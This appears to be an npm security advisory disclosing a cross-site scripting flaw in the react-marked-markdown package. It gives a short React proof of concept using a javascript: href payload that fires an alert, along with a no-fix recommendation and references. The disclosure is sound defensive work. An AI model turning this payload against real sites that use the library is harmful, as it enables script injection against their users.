All versions of react-marked-markdown are vulnerable to cross-site scripting (XSS) via href attributes. This is exploitable if user is provided to react-marked-markdown

Proof of concept:

import React from 'react'
import ReactDOM from 'react-dom'
import { MarkdownPreview } from 'react-marked-markdown'

ReactDOM.render(
<MarkdownPreview
markedOptions={{ sanitize: true }}
value={'[XSS](javascript: alert`1`)'}
/>,
document.getElementById('root')
)

Recommendation

No fix is currently available for this vulnerability. It is our recommendation to not install or use this module at this time if you allow user input into href values.

References

• https://github.com/Vincent-P/react-marked-markdown/issues/61
• https://hackerone.com/reports/344069
• https://www.npmjs.com/advisories/668